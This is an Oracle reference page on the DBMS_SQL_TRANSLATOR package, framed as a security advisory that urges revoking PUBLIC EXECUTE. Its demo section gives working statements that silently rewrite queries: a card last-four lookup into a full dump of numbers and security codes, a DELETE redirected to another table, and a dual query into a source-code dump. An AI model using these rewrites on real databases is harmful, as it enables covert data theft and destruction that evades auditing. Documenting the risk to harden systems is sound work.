| Security Advisory | 
    
    
      A SQL translation profile is an editionable database schema object that resides in SQL translation profile namespace. A SQL translation profile cannot be created as a common object in a consolidated database. 
      Does any of that make sense? Thought not. A SQL Translation Profile is in practical terms is a SQL rewrite.
      And, a SQL rewrite is another way of saying that when the database receives an instruction that it can match with a redirection it will perform the action it is redirected to perform and not do what it was asked to do. 
       
      So consider a SQL statement intended to return harmless information that instead returns privileged information. Or consider a statement intended to act on one table that performs a similar action but upon a different database object.
      The "How Oracle Works" demos below will provide a taste of the dangers lurking inside this built-in package. | 
    
    
      |   | 
    
    
      | Recommended Security Rules | 
    
    
       
       NEVER
        - Let any user or schema without documented justification  or escalated privileges gain access to this package by revoking EXECUTE from PUBLIC
 
       
       WITH GREAT CARE
      
        - Identify legitimate requirements for access to this package and grant EXECUTE explicitly to only justified schemas
 
        - Query the data dictionary after EXECUTE has been revoked from PUBLIC to verify the equivalence created is the equivalence approved by IT management and your CISO
 
       
       CAUTIONS 
      
        - Some usage may be in the form of dynamic SQL so carefully verify usage requirements in source code as well as in DBA_DEPENDENCIES
 
       
       | 
    
    
      |   | 
    
    
      | How Oracle Works | 
    
    
      | How Oracle imagined this package would be used | 
      Oracle's original concept for the SQL Translator 
      in conjunction with the SQL Translation Framework, which was a Java engine 
      that performed SQL translation between from other products to Oracle SQL, 
      was that applications written for Sybase and SQL Server (TransactSQL) 
      could be run without recoding on an Oracle Database. 
       
      They may have even conceived that the tool could be used in a manner 
      analogous to DBMS_ADVANCED_REWRITE to replace poorly written Oracle SQL 
      with brilliantly written Oracle SQL. 
       
      What they apparently did not consider was the possibility that the tool could also translate perfectly good but carefully vetted Oracle SQL into attack code. And, the fact that they didn't consider it likely explains why EXECUTE on this package is granted to PUBLIC. 
       
      Be sure that after you run the following demos you use dbms_sql_translator.drop_profile('DBSECWORX'); to drop the SQL Translation profile. | 
    
    
      | An exploit that takes advantage of this package to end-run security, testing, and auditing. | 
      This demonstration starts with the creation of a table holding credit card data. 
       
      conn uwclass/uwclass@pdbdev 
       
      CREATE TABLE uwclass.cc_data ( 
      ccno VARCHAR2(19), 
      expdate DATE, 
      ccvno   VARCHAR2(4)); 
       
      INSERT INTO uwclass.cc_data 
      (ccno, expdate, ccvno) 
      VALUES 
      ('4114-0113-1518-7114', SYSDATE+100, '1234'); 
       
      INSERT INTO uwclass.cc_data 
      (ccno, expdate, ccvno) 
      VALUES 
      ('5123-4567-8901-2345', SYSDATE+150, '9876'); 
      COMMIT; 
       
      An  unrestricted SELECT statement clearly compromises PCI data. 
       
      SELECT * FROM uwclass.cc_data; 
       
      CCNO                EXPDATE              CCVN 
      ------------------- -------------------- ---- 
      5123-4567-8901-2345 11-MAY-2020 19:29:45 9876 
      4114-0113-1518-7114 30-NOV-2019 11:01:23 1234 
       
      Whereas a query of the final 4 digits of a credit card or tax id number could be safely used for identification. 
       
      SELECT SUBSTR(ccno, -4, 4) FINAL4 FROM uwclass.cc_data; 
       
      FINAL4 
      ------ 
      2345 
      7114 
       
      The first step in this exploit is to create a translation profile using a package with privileges granted to PUBLIC. 
       
      exec dbms_sql_translator.create_profile('DBSECWORX'); 
       
      PL/SQL procedure successfully completed. 
       
      col profile_name format a20 
      col translator format a11 
       
      SELECT * FROM dba_sql_translation_profiles; 
       
      OWNER  PROFILE_NAME  TRANSLATOR  FOREI TRANS RAISE LOG_T TRACE LOG_E 
      ------ ------------- ----------- ----- ----- ----- ----- ----- ----- 
      SYS    DBSECWORX                 TRUE  TRUE FALSE  FALSE FALSE FALSE 
       
      The next step is is to tell the optimizer to convert any request for the final four digits of a credit card into a request for the entire credit card including expiration date and security code. 
       
      BEGIN 
        dbms_sql_translator.register_sql_translation(profile_name => 'DBSECWORX', sql_text => 'SELECT SUBSTR(ccno,-4,4) FINAL4 FROM uwclass.cc_data', 
      translated_text => 'SELECT * FROM uwclass.cc_data'); 
      END; 
      / 
       
      PL/SQL procedure successfully completed. 
       
      col txlrowner format a11 
      col txlrname format a9 
       
      SELECT * FROM sys.sqltxl$; 
       
         OBJ# TXLROWNER   TXLRNAME       FLAGS AUDIT$ 
      ------- ----------- --------- ---------- -------------------------------------- 
        74835                                3 -------------------------------------- 
       
      col profile_name format a12 
      col sql_text format a70 
      col translated_text format a60 
       
      SELECT profile_name, sql_text, translated_text FROM user_sql_translations; 
       
      PROFILE_NAME 
      ------------ 
      SQL_TEXT 
      ---------------------------------------------------------------------- 
      TRANSLATED_TEXT 
      ------------------------------------------------------------ 
      DBSECWORX 
      SELECT SUBSTR(ccno,-4,4) FINAL4 FROM uwclass.cc_data 
      SELECT * FROM uwclass.cc_data 
       
      In this final step two ALTER SESSION statements are run enabling the user to use the translation profile. 
       
      ALTER SESSION SET sql_translation_profile = DBSECWORX; 
      ALTER SESSION SET EVENTS = '10601 trace name context forever, level 32'; 
       
      And the clear result is that the query for a SUBSTRing of one column is rewritten to capture all information on every credit card in the entire table. 
       
      SQL> SELECT SUBSTR(ccno,-4,4) FINAL4 FROM uwclass.cc_data; 
       
      CCNO                EXPDATE              CCVN 
      ------------------- -------------------- ---- 
      5123-4567-8901-2345 11-MAY-2020 19:29:45 9876 
      4114-0113-1518-7114 30-NOV-2019 11:01:23 1234 
       
      The above demo is lightweight. It could easily be used to access data without an auditing or monitoring tool having a clue what had happened. The next demo is destructive.
      And, the following demo is pales in comparison with what could be done with a tool for which EXECUTE is granted to PUBLIC. | 
    
    
      Now lets get nasty. In this demo we add an additional instruction to the DBSECWORX translation profile. 
       
      The new instruction tells the database to ignore a specific instruction to empty one table and, instead, empty a completely different table. | 
      let's start off with a demo of something that does not work. Then morph it into something that does. 
       
      conn uwclass/uwclass@pdbdev 
       
      The first step in this demo is to create a second table by cloning CC_DATA. 
       
      CREATE TABLE uwclass.cc_data2 AS 
      SELECT * FROM uwclass.cc_data; 
       
      Read the initial statement and the translated statement: Color coded to make it easier to identify them. 
       
      BEGIN 
        dbms_sql_translator.register_sql_translation(profile_name => 'DBSECWORX', sql_text => 'DELETE FROM uwclass.cc_data2',
      translated_text => 'DELETE FROM uwclass.cc_data'); 
      END; 
      /
  
      Repeat the ALTER SESSION statements if you are not still in the original session from the above demo. 
       
      ALTER SESSION SET sql_translation_profile = DBSECWORX; 
      ALTER SESSION SET EVENTS = '10601 trace name context forever, level 32'; 
       
      
      Did you see the redirection above? A DELETE statement for one table becomes a DELETE statement for a completely different table. Try to delete the rows in cc_data2. 
       
      DELETE FROM uwclass.cc_data2; 
       
      2 rows deleted. 
       
      
      Two row where deleted somewhere but were they from the cc_data2 table? 
       
      SQL> SELECT * FROM cc_data2; 
       
      CCNO                EXPDATE              CCVN 
      ------------------- -------------------- ---- 
      5123-4567-8901-2345 11-MAY-2020 19:29:45 9876 
      4114-0113-1518-7114 30-NOV-2019 11:01:23 1234 
       
      SELECT * FROM cc_data; 
       
      no rows selected 
       
      Of course not. If they had been from the right table this demo wouldn't be demonstrating a security risk.
      And, if the above example doesn't send shivers down your spine, consider taking a basic class in cyber security and don't log onto a database, or write any code, until you pass the final. | 
    
    
      | One more demo to demonstrate exactly how dangerous this package can be | 
      conn uwclass/uwclass@pdbdev 
       
      Read the statement in green ... it is as harmless as you can get. How about the one in red? 
       
      BEGIN 
        dbms_sql_translator.register_sql_translation(profile_name => 'DBSECWORX', sql_text => 'SELECT * FROM dual',
       translated_text => 'SELECT text FROM all_source'); 
      END; 
      / 
       
      
      Repeat the ALTER SESSION statements if you are not still in the original session from the above demo. 
       
      ALTER SESSION SET sql_translation_profile = DBSECWORX; 
      ALTER SESSION SET EVENTS = '10601 trace name context forever, level 32'; 
       
      SELECT * FROM dual; 
       
      
      You probably want to hit [Ctrl] [C] as soon as what is happening becomes obvious: likely in far less time than it takes to read this sentence. | 
    
    
      |   | 
    
    
      | DBMS_SQL_TRANSLATOR Package Information | 
    
    
      | AUTHID | 
      CURRENT_USER | 
    
    
      | Constants | 
      
        
          
            
              | Name | 
              Data Type | 
              Value | 
             
            
              | ATTR_EDITIONABLE | 
              VARCHAR2(30) | 
              'EDITIONABLE' | 
             
            
              | ATTR_FOREIGN_SQL_SYNTAX | 
              VARCHAR2(30) | 
              'FOREIGN_SQL_SYNTAX' | 
             
            
              | ATTR_LOG_ERRORS | 
              VARCHAR2(30) | 
              'LOG_ERRORS' | 
             
            
              | ATTR_LOG_TRANSLATION_ERROR | 
              VARCHAR2(30) | 
              'LOG_TRANSLATION_ERROR' | 
             
            
              | ATTR_RAISE_TRANSLATION_ERROR | 
              VARCHAR2(30) | 
              'RAISE_TRANSLATION_ERROR' | 
             
            
              | ATTR_TRACE_TRANSLATION | 
              VARCHAR2(30) | 
              'TRACE_TRANSLATOR' | 
             
            
              | ATTR_TRANSLATE_NEW_SQL | 
              VARCHAR2(30) | 
              'TRANSLATE_NEW_SQL' | 
             
            
              | ATTR_TRANSLATOR | 
              VARCHAR2(30) | 
              'TRANSLATOR' | 
             
            
              | ATTR_VALUE_TRUE | 
              VARCHAR2(30) | 
              'TRUE' | 
             
            
              | ATTR_VALUE_FALSE | 
              VARCHAR2(30) | 
              'FALSE' | 
             
             | 
    
    
      | Dependencies | 
      
        
          
            
              | ALL_ERROR_TRANSLATIONS | 
              DBMS_SQL_TRANSLATOR_LIB | 
              SYS_IXMLAGG | 
             
            
              | ALL_OBJECTS | 
              DBMS_STANDARD | 
              XMLAGG | 
             
            
              | ALL_SQL_TRANSLATIONS | 
              DUAL | 
              XMLTYPE | 
             
            
              | ALL_SQL_TRANSLATION_PROFILES | 
              SQLTXL$ | 
              XQSEQUENCE | 
             
            
              | DBMS_SQL_TRANSLATOR_EXPORT | 
                | 
                | 
             
             | 
    
    
      | Documented in Types & Packages | 
      Yes | 
    
    
      | Exceptions | 
      
        
          
            
              | Error Code | 
              Reason | 
             
            
              | ORA-00955 | 
              profile_exists | 
             
            
              | ORA-01031 | 
              insufficient_privilege | 
             
            
              | ORA-01435 | 
              no_such_user | 
             
            
              | ORA-24252 | 
              no_such_profile | 
             
            
              | ORA-24253 | 
              no_translation_found | 
             
            
              | ORA-29261 | 
              bad_argument | 
             
             | 
    
    
      | First Available | 
      12.1 | 
    
    
      | Security Model | 
      Owned by SYS with EXECUTE granted to PUBLIC 
       
      Another example we are calling out where a grant of EXECUTE to PUBLIC is unwarranted.
      A decision to translate or more correctly replace one SQL statement with another should be granted to an application ... not to everyone and anyone that can has the CREATE SESSION privilege. | 
    
    
      | Source | 
      {ORACLE_HOME}/rdbms/admin/dbmssqll.sql | 
    
    
      | Subprograms | 
      
         | 
    
    
      |   | 
    
    
      | CLEAR_SQL_TRANSLATION_ERROR | 
    
    
      | Clears the last error when the SQL was run | 
      
      dbms_sql_translator.clear_sql_translation_error( 
      profile_name IN VARCHAR2, 
      sql_text     IN CLOB); 
      PRAGMA SUPPLEMENTAL_LOG_DATA(clear_sql_translation_error, AUTO_WITH_COMMIT); | 
    
    
      | TBD | 
    
    
      |   | 
    
    
      | CREATE_PROFILE | 
    
    
      | Create a translation profile | 
      dbms_sql_translator.create_profile( 
      profile_name IN VARCHAR2, 
      editionable  IN BOOLEAN DEFAULT TRUE); 
      PRAGMA SUPPLEMENTAL_LOG_DATA(create_profile, AUTO_WITH_COMMIT); | 
    
    
      conn sys@pdbdev as sysdba 
       
      exec dbms_sql_translator.create_profile('UW_TSQLTRANS', TRUE); 
       
      desc dba_sql_translation_profiles 
       
      col profile_name format a20 
      col translator format a11 
       
      SELECT * 
      FROM dba_sql_translation_profiles; 
       
      no rows selected 
       
      CREATE OR REPLACE PACKAGE uwclass.transpkg AUTHID CURRENT_USER IS 
       PROCEDURE translate_sql(sql_text        IN  CLOB, 
                               translated_text OUT NOCOPY CLOB); 
       PROCEDURE translate_error(error_code          IN  BINARY_INTEGER, 
                                 translated_code     OUT BINARY_INTEGER, 
                                 translated_sqlstate OUT NOCOPY VARCHAR2); 
      END transpkg; 
      / 
       
      exec dbms_sql_translator.set_attribute('UW_TSQLTRANS', dbms_sql_translator.attr_translator, 'uwclass.transpkg'); 
       
      col txlrowner format 11 
      col txlrname format a9 
       
      SELECT * FROM sys.sqltxl$; 
       
       OBJ#      TXLROWNER   TXLRNAME  FLAGS      AUDIT$ 
      ---------- ----------- --------- ---------- -------------------------------------- 
      98263      UWCLASS     TRANSPKG           3 -------------------------------------- 
       
      exec dbms_sql_translator.set_attribute('UW_TSQLTRANS', dbms_sql_translator.attr_trace_translation, dbms_sql_translator.attr_value_true); 
       
      SELECT * FROM sys.sqltxl$; 
       
       OBJ#      TXLROWNER   TXLRNAME  FLAGS      AUDIT$ 
      ---------- ----------- --------- ---------- -------------------------------------- 
      98263      UWCLASS     TRANSPKG          19 -------------------------------------- 
       
      -- attributes are stored in the FLAGS column 
      
        
          | Flags Column Translation | 
         
        
          flags number not null, /* flags */ 
                                 /* 0x01 = foreign SQL dialect */ 
                                 /* 0x02 = automatic translation registration */ 
                                 /* 0x04 = custom translation miss alert */ 
                                 /* 0x08 = custom translation miss error */ 
                                 /* 0x10 = tracing */ | 
         
        
      CREATE TABLE uwclass.tsql_target AS 
      SELECT srvr_id 
      FROM uwclass.servers 
      WHERE 1=2; 
       
      exec dbms_sql_translator.register_sql_translation( 
        profile_name    => 'UW_TSQLTRANS', 
        sql_text        => 'SELECT srvr_id INTO uwclass.tsql_target FROM uwclass.servers', 
        translated_text => 'INSERT INTO uwclass.tsql_target  
                      SELECT srvr_id FROM uwclass.servers'); 
       
      -- SELECT getdate(); vs SELECT sysdate FROM dual; 
       
      desc dba_sql_translations 
       
      col owner format a10 
      col sql_text format a40 
      col translated_text format a39 
       
      SELECT owner, profile_name, sql_text, translated_text 
      from dba_sql_translations; 
       
      SQL> BEGIN 
      2 execute immediate 'SELECT srvr_id INTO uwclass.tsql_target FROM uwclass.servers'; 
      3 END; 
      4 / 
      BEGIN 
      * 
      ERROR at line 1: 
      ORA-00905: missing keyword 
      ORA-06512: at line 2 
       
      ALTER SESSION SET SQL_TRANSLATION_PROFILE = UW_TSQLTRANS; 
      ALTER SESSION SET EVENTS = '10601 trace name context forever, level 32'; 
       
      BEGIN 
        execute immediate 'SELECT srvr_id INTO uwclass.tsql_target FROM uwclass.servers'; 
      END; 
      / 
       
      DECLARE 
       hashVal NUMBER; 
       retVal  VARCHAR2(30); 
       sqlTxt  CLOB := 'SELECT TOP 5 * FROM emp'; 
      BEGIN 
        hashVal := dbms_sql_translator.sql_hash(sqlTxt); 
        dbms_output.put_line(TO_CHAR(hashVal)); 
       
        retVal := dbms_sql_translator.sql_id(sqlTxt); 
        dbms_output.put_line(TO_CHAR(retVal)); 
      END; 
      / 
       
      ALTER SESSION SET SQL_TRANSLATION_PROFILE = UW_TSQLTRANS; 
       
      DECLARE 
       iClob CLOB := 'SELECT TOP 5 * FROM emp'; 
       oCLOB CLOB; 
      BEGIN 
        dbms_sql_translator.translate_sql(iClob, oClob); 
        dbms_output.put_line(oClob); 
      END; 
      / 
       
      exec dbms_sql_translator.drop_profile('UW_SQLTRANS'); 
       
      SELECT * 
      FROM dba_sql_translation_profiles; | 
    
    
      |   | 
    
    
      | DEREGISTER_ERROR_TRANSLATION | 
    
    
      | Deregisters the translation of an Oracle error code and SQLSTATE in a SQL translation profile | 
      dbms_sql_translator.procedure register_error_translation( 
      profile_name        IN VARCHAR2, 
      error_code          IN PLS_INTEGER, 
      translated_code     IN PLS_INTEGER DEFAULT NULL, 
      translated_sqlstate IN VARCHAR2    DEFAULT NULL, 
      enable              IN BOOLEAN     DEFAULT TRUE); 
      PRAGMA SUPPLEMENTAL_LOG_DATA(register_error_translation, AUTO_WITH_COMMIT); | 
    
    
      BEGIN 
        dbms_sql_translator.deregister_error_translation(profile_name => UW_SQLTRANS', error_code => 1); 
      END; 
      / | 
    
    
      |   | 
    
    
      | DEREGISTER_SQL_TRANSLATION | 
    
    
      | Deregisters the custom translation of a SQL statement in a SQL translation profile | 
      dbms_sql_translator.procedure deregister_sql_translation( 
      profile_name IN VARCHAR2, 
      sql_text     IN CLOB); 
      PRAGMA SUPPLEMENTAL_LOG_DATA(deregister_sql_translation, AUTO_WITH_COMMIT); | 
    
    
      BEGIN 
        dbms_sql_translator.deregister_sql_translation('UW_SQLTRANS', 
      'SELECT TOP 5 * FROM emp'); 
      END; 
      / | 
    
    
      |   | 
    
    
      | DROP_PROFILE | 
    
    
      | Drop a translation profile | 
      dbms_sql_translator.drop_profile(profile_name IN VARCHAR2); 
      PRAGMA SUPPLEMENTAL_LOG_DATA(drop_profile, AUTO_WITH_COMMIT); | 
    
    
      | See CREATE_PROFILE Demo Above | 
    
    
      |   | 
    
    
      | ENABLE_ERROR_TRANSLATION | 
    
    
      | Enables a custom translation of an Oracle error code in a SQL translation profile | 
      dbms_sql_translator.enable_error_translation( 
      profile_name  IN VARCHAR2, 
      error_code    IN PLS_INTEGER, 
      enable        IN BOOLEAN DEFAULT TRUE); 
      PRAGMA SUPPLEMENTAL_LOG_DATA(enable_error_translation, AUTO_WITH_COMMIT); | 
    
    
      BEGIN 
        dbms_sql_translator.enable_error_translation('UW_SQLTRANS', 1, TRUE); 
      END; 
      / | 
    
    
      |   | 
    
    
      | ENABLE_SQL_TRANSLATION | 
    
    
      | Enables a custom translation of an Oracle error code in a SQL translation profile | 
      dbms_sql_translator.enable_sql_translation( 
      profile_name IN VARCHAR2, 
      sql_text     IN CLOB, 
      enable       IN BOOLEAN DEFAULT TRUE); 
      PRAGMA SUPPLEMENTAL_LOG_DATA(enable_sql_translation, AUTO_WITH_COMMIT); | 
    
    
      BEGIN 
        dbms_sql_translator.enable_sql_translation('UW_SQLTRANS', 
      'SELECT TOP 5 * FROM emp', TRUE); 
      END; 
      / | 
    
    
      |   | 
    
    
      | EXPORT_PROFILE | 
    
    
      | Exports the content of a SQL translation profile | 
      dbms_sql_translator.export_profile( 
      profile_name IN         VARCHAR2, 
      content      OUT NOCOPY CLOB); | 
    
    
      DECLARE 
       lRetVal CLOB; 
      BEGIN 
        dbms_sql_translator.export_profile('UW_SQLTRANS',  lRetVal); 
      END; 
      / | 
    
    
      |   | 
    
    
      | IMPORT_PROFILE | 
    
    
      | Imports the content of a SQL translation profile | 
      dbms_sql_translator.import_profile( 
      profile_name IN VARCHAR2, 
      content      IN CLOB); | 
    
    
      DECLARE 
       lContent CLOB; 
      BEGIN 
        dbms_sql_translator.import_profile(profile_name => 'UW_SQLTRANS', content => content); 
      END; 
      / | 
    
    
      |   | 
    
    
      | REGISTER_ERROR_TRANSLATION | 
    
    
      | Registers a custom translation of an Oracle error code and SQLSTATE in a SQL translation profile | 
      dbms_sql_translator.register_error_translation( 
      profile_name        IN VARCHAR2, 
      error_code          IN PLS_INTEGER, 
      translated_code     IN PLS_INTEGER DEFAULT NULL, 
      translated_sqlstate IN VARCHAR2    DEFAULT NULL, 
      enable              IN BOOLEAN     DEFAULT TRUE); 
      PRAGMA SUPPLEMENTAL_LOG_DATA(register_error_translation, AUTO_WITH_COMMIT); | 
    
    
      BEGIN 
        dbms_sql_translator.register_error_translation(profile_name => 'UW_SQLTRANS', error_code => 1, translated_code => 2601); 
      END; 
      / | 
    
    
      |   | 
    
    
      | REGISTER_SQL_TRANSLATION | 
    
    
      | Registers a custom translation of a SQL statement in a SQL translation profile | 
      dbms_sql_translator.register_sql_translation( 
      profile_name    IN VARCHAR2, 
      sql_text        IN CLOB, 
      translated_text IN CLOB    DEFAULT NULL, 
      enable          IN BOOLEAN DEFAULT TRUE); 
      PRAGMA SUPPLEMENTAL_LOG_DATA(register_sql_translation, AUTO_WITH_COMMIT); | 
    
    
      | See CREATE_PROFILE Demo Above | 
    
    
      |   | 
    
    
      | SET_ATTRIBUTE | 
    
    
      | Sets an attribute of a SQL translation profile | 
      dbms_sql_translator.set_attribute( 
      profile_name    IN VARCHAR2, 
      attribute_name  IN VARCHAR2, 
      attribute_value IN VARCHAR2); 
      PRAGMA SUPPLEMENTAL_LOG_DATA(set_attribute, AUTO_WITH_COMMIT); | 
    
    
      | See CREATE_PROFILE Demo Above | 
    
    
      |   | 
    
    
      | SET_DICTIONARY_SQL_ID | 
    
    
      | Sets the SQL identifier of the SQL text in translation dictionary used to translate the current SQL statement | 
      dbms_sql_translator.set_dictionary_sql_id(dictionary_sql_id IN VARCHAR2); | 
    
    
      exec dbms_sql_translator.set_dictionary_sql_id('b4yz288n4gyc6'); | 
    
    
      |   | 
    
    
      | SET_ERROR_TRANSLATION_COMMENT | 
    
    
      | Sets the comment on a custom translation of an Oracle error code in a SQL translation profile | 
      set_error_translation_comment( 
      profile_name IN VARCHAR2, 
      error_code   IN PLS_INTEGER, 
      comment      IN VARCHAR2); | 
    
    
      BEGIN 
        dbms_sql_translator.set_error_translation_comment('UW_SQLTRANS', 1, 'Well there you go again'); 
      END; 
      / | 
    
    
      |   | 
    
    
      | SET_SQL_TRANSLATION_COMMENT | 
    
    
      | Sets the comment on a custom translation of a SQL statement in a SQL translation profile | 
      dbms_sql_translator.set_sql_translation_comment( 
      profile_name IN VARCHAR2, 
      sql_text     IN CLOB, 
      comment      IN VARCHAR2); | 
    
    
      BEGIN 
        dbms_sql_translator.set_sql_translation_comment('UW_SQLTRANS', 'SELECT TOP 5 * FROM emp', 'High 5'); 
      END; 
      / | 
    
    
      |   | 
    
    
      | SET_SQL_TRANSLATION_MODULE | 
    
    
      | Sets the module and action on a custom translation of a SQL statement in a SQL translation profile | 
      dbms_sql_translator.set_sql_translation_module( 
      profile_name IN VARCHAR2, 
      sql_text     IN CLOB, 
      module       IN VARCHAR2, 
      action       IN VARCHAR2) | 
    
    
      BEGIN 
        dbms_sql_translator.set_sql_translation_comment('UW_SQLTRANS', 'SELECT TOP 5 * FROM emp', 'SQL Translation Demo', 'Translation Test); 
      END; 
      / 
       
      SELECT module, action 
      FROM v$session 
      WHERE module = 'SQL Translation Demo'; | 
    
    
      |   | 
    
    
      | SQL_HASH | 
    
    
      | Computes the hash value of a SQL statement in a SQL translation profile | 
      dbms_sql_translator.sql_hash(sql_text IN CLOB)
      RETURN NUMBER DETERMINISTIC; | 
    
    
      | See CREATE_PROFILE Demo Above | 
    
    
      |   | 
    
    
      | SQL_ID | 
    
    
      | Computes the SQL identifier of a SQL statement in a SQL translation profile | 
      dbms_sql_translator.sql_id(sql_text IN CLOB)
      RETURN VARCHAR2 DETERMINISTIC; | 
    
    
      | See CREATE_PROFILE Demo Above | 
    
    
      |   | 
    
    
      | TRANSLATE_ERROR | 
    
    
      | Translates an Oracle error code and an ANSI SQLSTATE using a SQL translation profile | 
      dbms_sql_translator.translate_error( 
      error_code          IN         PLS_INTEGER, 
      translated_code     OUT        PLS_INTEGER, 
      translated_sqlstate OUT NOCOPY VARCHAR2); | 
    
    
      ALTER SESSION SET SQL_TRANSLATION_PROFILE = UW_SQLTRANS; 
       
      DECLARE 
       x PLS_INTEGER; 
       y VARCHAR2(60); 
      BEGIN 
        dbms_sql_translator.translate_error(1, x, y); 
        dbms_output.put_line(x); 
        dbms_output.put_line(y); 
      END; 
      / | 
    
    
      |   | 
    
    
      | TRANSLATE_SQL | 
    
    
      | Translates a SQL statement using a SQL translation profile | 
      dbms_sql_translator.translate_sql( 
      sql_text        IN         CLOB, 
      translated_text OUT NOCOPY CLOB); | 
    
    
      | See CREATE_PROFILE Demo Above |